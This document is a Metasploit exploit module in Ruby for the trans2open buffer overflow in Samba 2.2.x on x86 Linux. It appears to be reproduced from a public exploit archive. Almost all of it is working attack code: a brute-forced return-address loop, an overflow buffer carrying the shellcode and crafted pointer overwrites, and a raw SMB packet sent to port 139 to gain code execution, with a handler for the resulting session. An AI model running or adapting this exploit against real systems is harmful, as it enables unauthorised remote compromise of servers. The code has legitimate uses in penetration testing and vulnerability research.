Samba 2.2.8 (Linux x86) – ‘trans2open’ Remote Overflow (Metasploit)
## # $Id: trans2open.rb 9828 2010-07-14 17:27:23Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba trans2open Overflow (Linux x86)', 'Description' => %q{ This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set. NOTE: Some older versions of RedHat do not seem to be vulnerable since they apparently do not allow anonymous access to IPC. }, 'Author' => [ 'hdm', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9828 $', 'References' => [ [ 'CVE', '2003-0201' ], [ 'OSVDB', '4469' ], [ 'BID', '7294' ], [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'MinNops' => 512, 'StackAdjustment' => -3500 }, 'Platform' => 'linux', 'Targets' => [ # tested OK - jjd: # RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc # RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc [ 'Samba 2.2.x - Bruteforce', { 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack 'Offset' => 1055, 'Bruteforce' => { 'Start' => { 'Ret' => 0xbffffdfc }, 'Stop' => { 'Ret' => 0xbfa00000 }, 'Step' => 256 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 7 2003' )) register_options( [ Opt::RPORT(139) ], self.class) end def brute_exploit(addrs) curr_ret = addrs['Ret'] begin print_status("Trying return address 0x%.8x..." % curr_ret) connect smb_login if ! @checked_peerlm if smb_peer_lm !~ /samba/i raise RuntimeError, "This target is not a Samba server (#{smb_peer_lm}" end if smb_peer_lm =~ /Samba [34]\./i raise RuntimeError, "This target is not a vulnerable Samba server (#{smb_peer_lm})" end end @checked_peerlm = true # This value *must* be 1988 to allow findrecv shellcode to work # XXX: I'm not sure the above comment is true... pattern = rand_text_english(1988) # See the OSX and Solaris versions of this module for additional # information. # eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2 # (rpmbuild -bp ; edited/reran config.status ; make) eip_off = target['Offset'] ptr_to_non_zero = target['PtrToNonZero'] # Stuff the shellcode into the request pattern[0, payload.encoded.length] = payload.encoded # We want test true here, so we overwrite conn with a pointer # to something non-zero. # # 222 if (IS_IPC(conn)) { # 223 return(ERROR(ERRSRV,ERRaccess)); # 224 } pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V') # We want to avoid crashing on the following two derefences. # # 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line) # 117 { # 118 int outsize = set_message(outbuf,0,0,True); # 119 int cmd = CVAL(inbuf,smb_com); pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V') pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V') # This stream covers the framepointer and the return address #pattern[1199, 400] = [curr_ret].pack('N') * 100 pattern[eip_off, 4] = [curr_ret].pack('V') trans = "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ pattern # puts "press any key"; $stdin.gets sock.put(trans) handler rescue ::EOFError rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError raise $! rescue ::Exception => e print_error("#{rhost} #{e}") end handler disconnect end end |